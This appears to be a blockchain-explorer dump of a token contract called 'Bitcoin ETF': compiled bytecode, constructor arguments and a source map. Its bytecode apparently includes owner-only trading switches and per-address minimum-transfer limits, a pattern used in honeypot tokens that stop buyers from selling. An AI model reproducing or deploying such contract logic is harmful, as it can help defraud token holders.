f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b7e9061136a565b80601f0160208091040260200160405190810160405280929190818152602001828054610baa9061136a565b8015610bf55780601f10610bcc57610100808354040283529160200191610bf5565b820191905f5260205f20905b815481529060010190602001808311610bd857829003601f168201915b5050505050905090565b5f60045f9054906101000a900460ff16610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c459061140a565b60405180910390fd5b60035f610c5961104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821015610cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccc9061173d565b60405180910390fd5b8160015f610ce161104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390611500565b60405180910390fd5b8160015f610d6861104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610daf91906115d9565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e02919061160c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e2861104d565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6d91906110f5565b60405180910390a36001905092915050565b5f60045f9054906101000a900460ff16905090565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f1e61104d565b73ffffffffffffffffffffffffffffffffffffffff16610f3c610b48565b73ffffffffffffffffffffffffffffffffffffffff1614610f5b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f92575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61108182611058565b9050919050565b61109181611077565b811461109b575f80fd5b50565b5f813590506110ac81611088565b92915050565b5f602082840312156110c7576110c6611054565b5b5f6110d48482850161109e565b91505092915050565b5f819050919050565b6110ef816110dd565b82525050565b5f6020820190506111085f8301846110e6565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561114557808201518184015260208101905061112a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61116a8261110e565b6111748185611118565b9350611184818560208601611128565b61118d81611150565b840191505092915050565b5f6020820190508181035f8301526111b08184611160565b905092915050565b6111c1816110dd565b81146111cb575f80fd5b50565b5f813590506111dc816111b8565b92915050565b5f80604083850312156111f8576111f7611054565b5b5f6112058582860161109e565b9250506020611216858286016111ce565b9150509250929050565b5f8115159050919050565b61123481611220565b82525050565b5f60208201905061124d5f83018461122b565b92915050565b5f805f6060848603121561126a57611269611054565b5b5f6112778682870161109e565b93505060206112888682870161109e565b9250506040611299868287016111ce565b9150509250925092565b5f60ff82169050919050565b6112b8816112a3565b82525050565b5f6020820190506112d15f8301846112af565b92915050565b6112e081611077565b82525050565b5f6020820190506112f95f8301846112d7565b92915050565b5f806040838503121561131557611314611054565b5b5f6113228582860161109e565b92505060206113338582860161109e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138157607f821691505b6020821081036113945761139361133d565b5b50919050565b7f4554463a2054726164696e672069732063757272656e746c792064697361626c5f8201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b5f6113f4602283611118565b91506113ff8261139a565b604082019050919050565b5f6020820190508181035f830152611421816113e8565b9050919050565b7f4554463a204e6f7420656e6f7567682063726f770000000000000000000000005f82015250565b5f61145c601483611118565b915061146782611428565b602082019050919050565b5f6020820190508181035f83015261148981611450565b9050919050565b7f4554463a207472616e7366657220616d6f756e7420657863656564732062616c5f8201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b5f6114ea602483611118565b91506114f582611490565b604082019050919050565b5f6020820190508181035f830152611517816114de565b9050919050565b7f4554463a207472616e7366657220616d6f756e74206578636565647320616c6c5f8201527f6f77616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611578602683611118565b91506115838261151e565b604082019050919050565b5f6020820190508181035f8301526115a58161156c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6115e3826110dd565b91506115ee836110dd565b9250828203905081811115611606576116056115ac565b5b92915050565b5f611616826110dd565b9150611621836110dd565b9250828201905080821115611639576116386115ac565b5b92915050565b7f4554463a2061646472657373207a65726f206973206e6f7420612076616c69645f8201527f206163636f756e74000000000000000000000000000000000000000000000000602082015250565b5f611699602883611118565b91506116a48261163f565b604082019050919050565b5f6020820190508181035f8301526116c68161168d565b9050919050565b7f4554463a205472616e7366657220616d6f756e74206973206c657373207468615f8201527f6e20746865206d696e696d756d20616c6c6f7765640000000000000000000000602082015250565b5f611727603583611118565b9150611732826116cd565b604082019050919050565b5f6020820190508181035f8301526117548161171b565b905091905056fea2646970667358221220c0030713859d5d66c09b3aea478483bce49f5c183f2cf96ab67511beccdfed7364736f6c63430008170033

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000b426974636f696e2045544600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034554460000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Bitcoin ETF
Arg [1] : symbol_ (string): ETF
Arg [2] : decimals_ (uint8): 18
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 426974636f696e20455446000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 4554460000000000000000000000000000000000000000000000000000000000

2493:3586:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5873:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3337:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4553:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3614:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4789:659;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5613:252;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3523:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3722:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1957:230;;;:::i;:::-;;1659:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3428;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3849:537;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5993:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4394:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2252:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5873:112;5932:7;5959:9;:18;5969:7;5959:18;;;;;;;;;;;;;;;;5952:25;;5873:112;;;:::o;3337:83::-;3374:13;3407:5;3400:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3337:83;:::o;4553:228::-;4636:4;4690:6;4653:11;:25;4665:12;:10;:12::i;:::-;4653:25;;;;;;;;;;;;;;;:34;4679:7;4653:34;;;;;;;;;;;;;;;:43;;;;4735:7;4712:39;;4721:12;:10;:12::i;:::-;4712:39;;;4744:6;4712:39;;;;;;:::i;:::-;;;;;;;;4769:4;4762:11;;4553:228;;;;:::o;3614:100::-;3667:7;3694:12;;3687:19;;3614:100;:::o;4789:659::-;4895:4;4920:12;;;;;;;;;;;4912:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;5000:9;:17;5010:6;5000:17;;;;;;;;;;;;;;;;4990:6;:27;;4982:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;5082:6;5061:9;:17;5071:6;5061:17;;;;;;;;;;;;;;;;:27;;5053:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;5185:6;5148:11;:19;5160:6;5148:19;;;;;;;;;;;;;;;:33;5168:12;:10;:12::i;:::-;5148:33;;;;;;;;;;;;;;;;:43;;5140:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;5266:6;5245:9;:17;5255:6;5245:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5307:6;5283:9;:20;5293:9;5283:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5361:6;5324:11;:19;5336:6;5324:19;;;;;;;;;;;;;;;:33;5344:12;:10;:12::i;:::-;5324:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5400:9;5383:35;;5392:6;5383:35;;;5411:6;5383:35;;;;;;:::i;:::-;;;;;;;;5436:4;5429:11;;4789:659;;;;;:::o;5613:252::-;1858:12;:10;:12::i;:::-;1847:23;;:7;:5;:7::i;:::-;:23;;;1839:32;;;;;;5722:1:::1;5703:21;;:7;:21;;::::0;5695:74:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5801:9;5780;:18;5790:7;5780:18;;;;;;;;;;;;;;;:30;;;;5838:7;5826:31;;;5847:9;5826:31;;;;;;:::i;:::-;;;;;;;;5613:252:::0;;:::o;3523:83::-;3564:5;3589:9;;;;;;;;;;;3582:16;;3523:83;:::o;3722:119::-;3788:7;3815:9;:18;3825:7;3815:18;;;;;;;;;;;;;;;;3808:25;;3722:119;;;:::o;1957:230::-;1858:12;:10;:12::i;:::-;1847:23;;:7;:5;:7::i;:::-;:23;;;1839:32;;;;;;2064:42:::1;2027:81;;2048:6;::::0;::::1;;;;;;;;2027:81;;;;;;;;;;;;2136:42;2119:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1957:230::o:0;1659:87::-;1705:7;1732:6;;;;;;;;;;;1725:13;;1659:87;:::o;3428:::-;3467:13;3500:7;3493:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3428:87;:::o;3849:537::-;3935:4;3960:12;;;;;;;;;;;3952:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;4040:9;:23;4050:12;:10;:12::i;:::-;4040:23;;;;;;;;;;;;;;;;4030:6;:33;;4022:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;4167:6;4140:9;:23;4150:12;:10;:12::i;:::-;4140:23;;;;;;;;;;;;;;;;:33;;4132:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;4252:6;4225:9;:23;4235:12;:10;:12::i;:::-;4225:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4293:6;4269:9;:20;4279:9;4269:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4338:9;4315:41;;4324:12;:10;:12::i;:::-;4315:41;;;4349:6;4315:41;;;;;;:::i;:::-;;;;;;;;4374:4;4367:11;;3849:537;;;;:::o;5993:83::-;6032:4;6056:12;;;;;;;;;;;6049:19;;5993:83;:::o;4394:151::-;4483:7;4510:11;:18;4522:5;4510:18;;;;;;;;;;;;;;;:27;4529:7;4510:27;;;;;;;;;;;;;;;;4503:34;;4394:151;;;;:::o;2252:202::-;1858:12;:10;:12::i;:::-;1847:23;;:7;:5;:7::i;:::-;:23;;;1839:32;;;;;;2361:1:::1;2341:22;;:8;:22;;::::0;2333:31:::1;;;::::0;::::1;;2409:8;2380:38;;2401:6;::::0;::::1;;;;;;;;2380:38;;;;;;;;;;;;2438:8;2429:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2252:202:::0;:::o;951:115::-;1004:15;1047:10;1032:26;;951:115;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:77::-;1213:7;1242:5;1231:16;;1176:77;;;:::o;1259:118::-;1346:24;1364:5;1346:24;:::i;:::-;1341:3;1334:37;1259:118;;:::o;1383:222::-;1476:4;1514:2;1503:9;1499:18;1491:26;;1527:71;1595:1;1584:9;1580:17;1571:6;1527:71;:::i;:::-;1383:222;;;;:::o;1611:99::-;1663:6;1697:5;1691:12;1681:22;;1611:99;;;:::o;1716:169::-;1800:11;1834:6;1829:3;1822:19;1874:4;1869:3;1865:14;1850:29;;1716:169;;;;:::o;1891:246::-;1972:1;1982:113;1996:6;1993:1;1990:13;1982:113;;;2081:1;2076:3;2072:11;2066:18;2062:1;2057:3;2053:11;2046:39;2018:2;2015:1;2011:10;2006:15;;1982:113;;;2129:1;2120:6;2115:3;2111:16;2104:27;1953:184;1891:246;;;:::o;2143:102::-;2184:6;2235:2;2231:7;2226:2;2219:5;2215:14;2211:28;2201:38;;2143:102;;;:::o;2251:377::-;2339:3;2367:39;2400:5;2367:39;:::i;:::-;2422:71;2486:6;2481:3;2422:71;:::i;:::-;2415:78;;2502:65;2560:6;2555:3;2548:4;2541:5;2537:16;2502:65;:::i;:::-;2592:29;2614:6;2592:29;:::i;:::-;2587:3;2583:39;2576:46;;2343:285;2251:377;;;;:::o;2634:313::-;2747:4;2785:2;2774:9;2770:18;2762:26;;2834:9;2828:4;2824:20;2820:1;2809:9;2805:17;2798:47;2862:78;2935:4;2926:6;2862:78;:::i;:::-;2854:86;;2634:313;;;;:::o;2953:122::-;3026:24;3044:5;3026:24;:::i;:::-;3019:5;3016:35;3006:63;;3065:1;3062;3055:12;3006:63;2953:122;:::o;3081:139::-;3127:5;3165:6;3152:20;3143:29;;3181:33;3208:5;3181:33;:::i;:::-;3081:139;;;;:::o;3226:474::-;3294:6;3302;3351:2;3339:9;3330:7;3326:23;3322:32;3319:119;;;3357:79;;:::i;:::-;3319:119;3477:1;3502:53;3547:7;3538:6;3527:9;3523:22;3502:53;:::i;:::-;3492:63;;3448:117;3604:2;3630:53;3675:7;3666:6;3655:9;3651:22;3630:53;:::i;:::-;3620:63;;3575:118;3226:474;;;;;:::o;3706:90::-;3740:7;3783:5;3776:13;3769:21;3758:32;;3706:90;;;:::o;3802:109::-;3883:21;3898:5;3883:21;:::i;:::-;3878:3;3871:34;3802:109;;:::o;3917:210::-;4004:4;4042:2;4031:9;4027:18;4019:26;;4055:65;4117:1;4106:9;4102:17;4093:6;4055:65;:::i;:::-;3917:210;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:221::-;6672:34;6668:1;6660:6;6656:14;6649:58;6741:4;6736:2;6728:6;6724:15;6717:29;6532:221;:::o;6759:366::-;6901:3;6922:67;6986:2;6981:3;6922:67;:::i;:::-;6915:74;;6998:93;7087:3;6998:93;:::i;:::-;7116:2;7111:3;7107:12;7100:19;;6759:366;;;:::o;7131:419::-;7297:4;7335:2;7324:9;7320:18;7312:26;;7384:9;7378:4;7374:20;7370:1;7359:9;7355:17;7348:47;7412:131;7538:4;7412:131;:::i;:::-;7404:139;;7131:419;;;:::o;7556:170::-;7696:22;7692:1;7684:6;7680:14;7673:46;7556:170;:::o;7732:366::-;7874:3;7895:67;7959:2;7954:3;7895:67;:::i;:::-;7888:74;;7971:93;8060:3;7971:93;:::i;:::-;8089:2;8084:3;8080:12;8073:19;;7732:366;;;:::o;8104:419::-;8270:4;8308:2;8297:9;8293:18;8285:26;;8357:9;8351:4;8347:20;8343:1;8332:9;8328:17;8321:47;8385:131;8511:4;8385:131;:::i;:::-;8377:139;;8104:419;;;:::o;8529:223::-;8669:34;8665:1;8657:6;8653:14;8646:58;8738:6;8733:2;8725:6;8721:15;8714:31;8529:223;:::o;8758:366::-;8900:3;8921:67;8985:2;8980:3;8921:67;:::i;:::-;8914:74;;8997:93;9086:3;8997:93;:::i;:::-;9115:2;9110:3;9106:12;9099:19;;8758:366;;;:::o;9130:419::-;9296:4;9334:2;9323:9;9319:18;9311:26;;9383:9;9377:4;9373:20;9369:1;9358:9;9354:17;9347:47;9411:131;9537:4;9411:131;:::i;:::-;9403:139;;9130:419;;;:::o;9555:225::-;9695:34;9691:1;9683:6;9679:14;9672:58;9764:8;9759:2;9751:6;9747:15;9740:33;9555:225;:::o;9786:366::-;9928:3;9949:67;10013:2;10008:3;9949:67;:::i;:::-;9942:74;;10025:93;10114:3;10025:93;:::i;:::-;10143:2;10138:3;10134:12;10127:19;;9786:366;;;:::o;10158:419::-;10324:4;10362:2;10351:9;10347:18;10339:26;;10411:9;10405:4;10401:20;10397:1;10386:9;10382:17;10375:47;10439:131;10565:4;10439:131;:::i;:::-;10431:139;;10158:419;;;:::o;10583:180::-;10631:77;10628:1;10621:88;10728:4;10725:1;10718:15;10752:4;10749:1;10742:15;10769:194;10809:4;10829:20;10847:1;10829:20;:::i;:::-;10824:25;;10863:20;10881:1;10863:20;:::i;:::-;10858:25;;10907:1;10904;10900:9;10892:17;;10931:1;10925:4;10922:11;10919:37;;;10936:18;;:::i;:::-;10919:37;10769:194;;;;:::o;10969:191::-;11009:3;11028:20;11046:1;11028:20;:::i;:::-;11023:25;;11062:20;11080:1;11062:20;:::i;:::-;11057:25;;11105:1;11102;11098:9;11091:16;;11126:3;11123:1;11120:10;11117:36;;;11133:18;;:::i;:::-;11117:36;10969:191;;;;:::o;11166:227::-;11306:34;11302:1;11294:6;11290:14;11283:58;11375:10;11370:2;11362:6;11358:15;11351:35;11166:227;:::o;11399:366::-;11541:3;11562:67;11626:2;11621:3;11562:67;:::i;:::-;11555:74;;11638:93;11727:3;11638:93;:::i;:::-;11756:2;11751:3;11747:12;11740:19;;11399:366;;;:::o;11771:419::-;11937:4;11975:2;11964:9;11960:18;11952:26;;12024:9;12018:4;12014:20;12010:1;11999:9;11995:17;11988:47;12052:131;12178:4;12052:131;:::i;:::-;12044:139;;11771:419;;;:::o;12196:240::-;12336:34;12332:1;12324:6;12320:14;12313:58;12405:23;12400:2;12392:6;12388:15;12381:48;12196:240;:::o;12442:366::-;12584:3;12605:67;12669:2;12664:3;12605:67;:::i;:::-;12598:74;;12681:93;12770:3;12681:93;:::i;:::-;12799:2;12794:3;12790:12;12783:19;;12442:366;;;:::o;12814:419::-;12980:4;13018:2;13007:9;13003:18;12995:26;;13067:9;13061:4;13057:20;13053:1;13042:9;13038:17;13031:47;13095:131;13221:4;13095:131;:::i;:::-;13087:139;;12814:419;;;:::o

ipfs://c0030713859d5d66c09b3aea478483bce49f5c183f2cf96ab67511beccdfed73